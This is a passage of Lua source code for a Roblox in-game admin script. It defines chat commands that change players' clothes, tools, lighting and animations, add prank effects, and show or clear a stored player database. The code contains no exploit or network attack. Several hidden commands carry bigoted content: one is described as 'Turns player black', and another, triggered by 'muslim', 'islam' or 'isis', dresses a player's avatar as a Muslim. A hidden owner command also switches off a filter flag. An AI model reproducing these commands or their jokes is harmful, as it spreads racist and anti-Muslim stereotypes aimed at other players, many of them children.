7033 for _,Obj in pairs(Player.Character:GetChildren()) do
7034 local Valid = false
7035 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7036 if Valid == true then Obj:Destroy() end
7037 end
7038 end
7039 end
7040 end};
7041
7042 [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
7043 local Players = STRING:Scan(Arguments[1], Speaker)
7044 for _,Player in pairs(Players) do
7045 if Player.Character then
7046 for _,Obj in pairs(Player.Character:GetChildren()) do
7047 if Obj:IsA("Accoutrement") then
7048 Obj:Destroy()
7049 end
7050 end
7051 end
7052 end
7053 end};
7054
7055 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
7056 local Players = STRING:Scan(Arguments[1], Speaker)
7057 for _,Player in pairs(Players) do
7058 Player:ClearCharacterAppearance()
7059 end
7060 end};
7061
7062 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
7063 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
7064 local TmpPlayers = {}
7065 local Output = {}
7066 for _,Data in pairs(Players) do
7067 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
7068 end
7069 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
7070 end};
7071
7072 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
7073 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
7074 GUI:SendHint(Speaker, "Player Database cleared", 5)
7075 end};
7076
7077 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
7078 local Players = STRING:Scan(Arguments[1], Speaker)
7079 for _,Player in pairs(Players) do
7080 GUI:FakeHack(Player)
7081 end
7082 end};
7083
7084 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7085 local Players = STRING:Scan(Arguments[1], Speaker)
7086 for _,Player in pairs(Players) do
7087 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7088 for _,Object in pairs(Player.Backpack:GetChildren()) do
7089 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7090 local Clone = Object:Clone()
7091 Clone.Parent = Speaker.Backpack
7092 end
7093 end
7094 end
7095 end
7096 end};
7097
7098 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7099 local Players = STRING:Scan(Arguments[1], Speaker)
7100 for _,Player in pairs(Players) do
7101 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7102 for _,Object in pairs(Player.Backpack:GetChildren()) do
7103 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7104 Object.Parent = Speaker.Backpack
7105 end
7106 end
7107 end
7108 end
7109 end};
7110
7111 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7112 local Players = STRING:Scan(Arguments[1], Speaker)
7113 for _,Player in pairs(Players) do
7114 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7115 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
7116 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7117 local Clone = Object:Clone()
7118 Clone.Parent = Player.Backpack
7119 end
7120 end
7121 end
7122 end
7123 end};
7124
7125 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
7126 local Players = STRING:Scan(Arguments[1], Speaker)
7127 for _,Player in pairs(Players) do
7128 if Player:FindFirstChild("Backpack") then
7129 Player.Backpack:ClearAllChildren()
7130 end
7131 if Player.Character ~= nil then
7132 for _,Obj in pairs(Player.Character:GetChildren()) do
7133 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
7134 Obj:Destroy()
7135 end
7136 end
7137 end
7138 end
7139 end};
7140
7141 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
7142 local Players = STRING:Scan(Arguments[1], Speaker)
7143 for _,Player in pairs(Players) do
7144 if Player.Character then
7145 if Player.Character:FindFirstChild("Head") then
7146 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
7147 coroutine.wrap(function()
7148 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7149 local OldFace = Player.Character.Head.face.Texture
7150 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
7151 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
7152 Player.Character.Head.face.Texture = "rbxassetid://24067663"
7153 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
7154 Sound:Play()
7155 coroutine.wrap(function() for i = 1,100 do wait()
7156 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
7157 coroutine.wrap(function() wait(3) Part:Destroy() end)()
7158 end
7159 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
7160 end end
7161 end)()
7162 end
7163 end
7164 end
7165 end
7166 end};
7167
7168 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
7169 local Players = STRING:Scan(Arguments[1], Speaker)
7170 for _,Player in pairs(Players) do
7171 if Player.Character then
7172 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
7173 coroutine.wrap(function()
7174 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7175 local OldFace = Player.Character.Head.face.Texture
7176 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
7177 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
7178 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
7179 Player.Character.Head.face.Texture = "rbxassetid://28118994"
7180 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
7181 Sound:Play()
7182 wait(1)
7183 Smoke.Enabled = false
7184 wait(1)
7185 Fart:Destroy()
7186 Fart:Destroy()
7187 Player.Character.Head.face.Texture = OldFace
7188 end end
7189 end)()
7190 end
7191 end
7192 end
7193 end};
7194
7195 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
7196 local Players = STRING:Scan(Arguments[1], Speaker)
7197 for _,Player in pairs(Players) do
7198 if Player:FindFirstChild("Backpack") then
7199 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
7200 end
7201 end
7202 end};
7203
7204 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
7205 local Players = STRING:Scan(Arguments[1], Speaker)
7206 for _,Player in pairs(Players) do
7207 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
7208 Player.Character.MMLGraffiti:ClearAllChildren()
7209 end
7210 end
7211 end};
7212
7213 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
7214 local Players = STRING:Scan(Arguments[1], Speaker)
7215 for _,Player in pairs(Players) do
7216 if Player.Character and Player.Character:FindFirstChild("Torso") then
7217 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
7218 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
7219 end
7220 end
7221 end};
7222
7223 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
7224 local Players = STRING:Scan(Arguments[1], Speaker)
7225 for _,Player in pairs(Players) do
7226 if Player.Character and Player.Character:FindFirstChild("Torso") then
7227 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
7228 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
7229 end
7230 end
7231 end};
7232
7233 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
7234 local Players = STRING:Scan(Arguments[1], Speaker)
7235 for _,Player in pairs(Players) do
7236 if Player.Character and Player.Character:FindFirstChild("Torso") then
7237 local Lights = {}
7238 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7239 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7240 table.insert(Lights, Obj)
7241 end
7242 end
7243 for _,Light in pairs(Lights) do
7244 coroutine.wrap(function()
7245 for i = 1,20 do
7246 Light.Brightness = Light.Brightness/5
7247 wait()
7248 end
7249 Light:Destroy()
7250 end)()
7251 end
7252 end
7253 end
7254 end};
7255
7256 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7257 local Players = STRING:Scan(Arguments[1], Speaker)
7258 for _,Player in pairs(Players) do
7259 if Player.Character and Player:FindFirstChild("PlayerGui") then
7260 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7261 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7262 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7263 local Stop = false
7264 coroutine.wrap(function()
7265 repeat
7266 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7267 wait(0.1)
7268 until not SG or not SG.Parent
7269 end)()
7270 CORE:ExecuteResource("Drug", Player.Character)
7271 end
7272 end
7273 end};
7274
7275 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7276 local Players = STRING:Scan(Arguments[1], Speaker)
7277 for _,Player in pairs(Players) do
7278 if Player:FindFirstChild("PlayerGui") then
7279 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7280 wait() CORE:RestoreCamera(Player)
7281 end
7282 end
7283 end};
7284
7285 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7286 local AbuseMode = false
7287 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7288 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7289 if Speaker:FindFirstChild("Backpack") then
7290 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7291 end
7292 end)
7293 end, Http = true};
7294
7295 [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
7296 local Type = "all"
7297 local Query = string.lower(Arguments[1])
7298 local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
7299 if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
7300 Type = Arguments[1]
7301 Query = Arguments[2]
7302 end
7303 MARKET:ShowSearch(Speaker, 11, Query, function(ID)
7304 if Speaker.Character then
7305 CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
7306 end
7307 end, MARKET:AccessoryToSubcategory(Type))
7308 end, Http = true};
7309
7310 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7311 MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
7312 if Speaker.Character then
7313 CORE:GivePackage(Speaker, ID)
7314 end
7315 end, 11)
7316 end, Http = false};
7317
7318 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7319 local Players = STRING:Scan(Arguments[1], Speaker)
7320 for _,Player in pairs(Players) do
7321 CORE:GivePackage(Player)
7322 end
7323 end};
7324
7325 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7326 local Players = STRING:Scan(Arguments[1], Speaker)
7327 for _,Player in pairs(Players) do
7328 CORE:GivePackage(Player, Arguments[2])
7329 end
7330 end, Http = false};
7331
7332 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7333 local Players = STRING:Scan(Arguments[1], Speaker)
7334 for _,Player in pairs(Players) do
7335 local Stats = Player:FindFirstChild("leaderstats")
7336 if Stats ~= nil then
7337 for _,Stat in pairs(Stats:GetChildren()) do
7338 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7339 ypcall(function() Stat.Value = Arguments[3] end)
7340 end
7341 end
7342 end
7343 end
7344 end};
7345
7346 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7347 local ID = tonumber(Arguments[2])
7348 local Players = STRING:Scan(Arguments[1], Speaker)
7349 for _,Player in pairs(Players) do
7350 for _,Player in pairs(Players) do
7351 if Player.Character ~= nil then
7352 local Obj = Player.Character:FindFirstChild("Shirt")
7353 if Obj then
7354 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7355 else
7356 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7357 end
7358 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7359 end
7360 end
7361 end
7362 end};
7363
7364 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7365 local ID = tonumber(Arguments[2])
7366 local Players = STRING:Scan(Arguments[1], Speaker)
7367 for _,Player in pairs(Players) do
7368 for _,Player in pairs(Players) do
7369 if Player.Character ~= nil then
7370 local Obj = Player.Character:FindFirstChild("Pants")
7371 if Obj then
7372 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7373 else
7374 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7375 end
7376 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7377 end
7378 end
7379 end
7380 end};
7381
7382 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7383 local ID = tonumber(Arguments[2])
7384 local Players = STRING:Scan(Arguments[1], Speaker)
7385 for _,Player in pairs(Players) do
7386 for _,Player in pairs(Players) do
7387 if Player.Character ~= nil then
7388 if Player.Character:FindFirstChild("Torso") then
7389 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7390 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7391 if Obj1 then
7392 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7393 else
7394 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7395 end
7396 if Obj2 then
7397 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7398 else
7399 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7400 end
7401 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7402 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7403 end
7404 end
7405 end
7406 end
7407 end};
7408
7409 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7410 local Players = STRING:Scan(Arguments[1], Speaker)
7411 for _,Player in pairs(Players) do
7412 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7413 end
7414 end};
7415
7416 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7417 if CORE:InAdminGroup(Speaker) then
7418 local Players = STRING:Scan(Arguments[1], Speaker)
7419 for _,Player in pairs(Players) do
7420 if Player:FindFirstChild("Backpack") then
7421 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7422 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7423 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7424 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7425 CORE:ExecuteResource("CookieTool", Tool)
7426 end
7427 end
7428 end
7429 end};
7430
7431 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7432 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7433 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7434 end
7435 end};
7436
7437 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7438 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7439 local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
7440 Model:MakeJoints()
7441 for i = 1,math.random(10,20) do
7442 Model.Name = Model.Name..string.char(math.random(97,122))
7443 end
7444 if Model:GetChildren()[1] then
7445 table.insert(Objects, Model)
7446 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7447 end
7448 end
7449 end};
7450
7451 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7452 local ID = tonumber(Arguments[2])
7453 local Players = STRING:Scan(Arguments[1], Speaker)
7454 for _,Player in pairs(Players) do
7455 if Player.Character then
7456 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7457 end
7458 end
7459 end};
7460
7461 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7462 local Players = STRING:Scan(Arguments[1], Speaker)
7463 for _,Player in pairs(Players) do
7464 if Player.Character then
7465 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7466 if StopAnim then StopAnim:Destroy() end
7467 end
7468 end
7469 end};
7470
7471 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7472 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7473 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7474 end
7475 end};
7476
7477 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7478 if tonumber(Arguments[1]) then
7479 Server.Lighting.Brightness = tonumber(Arguments[1])
7480 end
7481 end};
7482
7483 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7484 local Players = STRING:Scan(Arguments[1], Speaker)
7485 for _,Player in pairs(Players) do
7486 GUI:CoreGui(Player, "PlayerList", true)
7487 end
7488 end};
7489
7490 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7491 local Players = STRING:Scan(Arguments[1], Speaker)
7492 for _,Player in pairs(Players) do
7493 local Players = STRING:Scan(Arguments[1], Speaker)
7494 GUI:CoreGui(Player, "PlayerList", false)
7495 end
7496 end};
7497
7498 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7499 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7500 end, Hidden = true};
7501
7502 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7503 local Players = STRING:Scan(Arguments[1], Speaker)
7504 for _,Player in pairs(Players) do
7505 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7506 end
7507 end, Hidden = true};
7508
7509 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7510 local Players = STRING:Scan(Arguments[1], Speaker)
7511 for _,Player in pairs(Players) do
7512 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7513 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7514 Player:ClearCharacterAppearance()
7515 CORE:Insert(12436480, Player.Character, true)
7516 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7517 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7518 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7519 end
7520 end
7521 end, Hidden = true};
7522
7523 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7524 local Players = STRING:Scan(Arguments[1], Speaker)
7525 for _,Player in pairs(Players) do
7526 CORE:ChangeCharacter(Player, 0, false, Speaker)
7527 end
7528 end};
7529
7530 [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
7531 ShouldFilter = false
7532 end, Hidden = true};
7533
7534 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7535 local Bet = Arguments[1]
7536 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7537 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7538 elseif #Bet > 5 then
7539 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7540 else
7541 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7542 if Answer == "Yes" then
7543 local OldBet = Settings.Bet
7544 CORE:ChangeBet(Bet)
7545 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7546 end
7547 end
7548 end};
7549
7550 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7551 local Prefix = Arguments[1]
7552 if #Prefix > 5 then
7553 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7554 else
7555 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7556 if Answer == "Yes" then
7557 local OldPrefix = Settings.Prefix
7558 Settings.Prefix = Prefix
7559 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7560 end
7561 end
7562 end};
7563
7564 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7565 GUI:CommandBar(Speaker)
7566 end};
7567
7568 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7569 GUI:CommandBar(Speaker)
7570 PermCommandBars[Speaker.Name] = true
7571 end};
7572
7573 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7574 PermCommandBars[Speaker.Name] = nil
7575 end};
7576
7577 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7578 local Players = STRING:Scan(Arguments[1], Speaker)
7579 for _,Player in pairs(Players) do
7580 PermCommandBars[Player.Name] = nil
7581 end
7582 end};
7583
7584 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7585 CORE:CreateFigure("Dummy", nil, true, Speaker)
7586 end};
7587
7588 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7589 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7590 end};
7591
7592 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7593 local Players = STRING:Scan(Arguments[1], Speaker)
7594 for _,Player in pairs(Players) do
7595 CORE:ClonePlayer(Player)
7596 end
7597 end};
7598
7599 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7600 local Players = STRING:Scan(Arguments[1], Speaker)
7601 for _,Player in pairs(Players) do
7602 CORE:ClonePlayer(Player, Arguments[2])
7603 end
7604 end};
7605
7606 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7607 for _,Obj in pairs(Objects) do
7608 if Obj then Obj:Destroy() end
7609 end
7610 for Name,Jail in pairs(Jails) do
7611 if not game.Players:FindFirstChild(Name) then
7612 Jail:Destroy()
7613 Jails[Name] = nil
7614 end
7615 end
7616 Objects = {}
7617 end};
7618
7619 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7620 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7621 if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
7622 Obj:Destroy()
7623 end
7624 end
7625 end};
7626
7627 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7628 local Players = STRING:Scan(Arguments[1], Speaker)
7629 for _,Player in pairs(Players) do
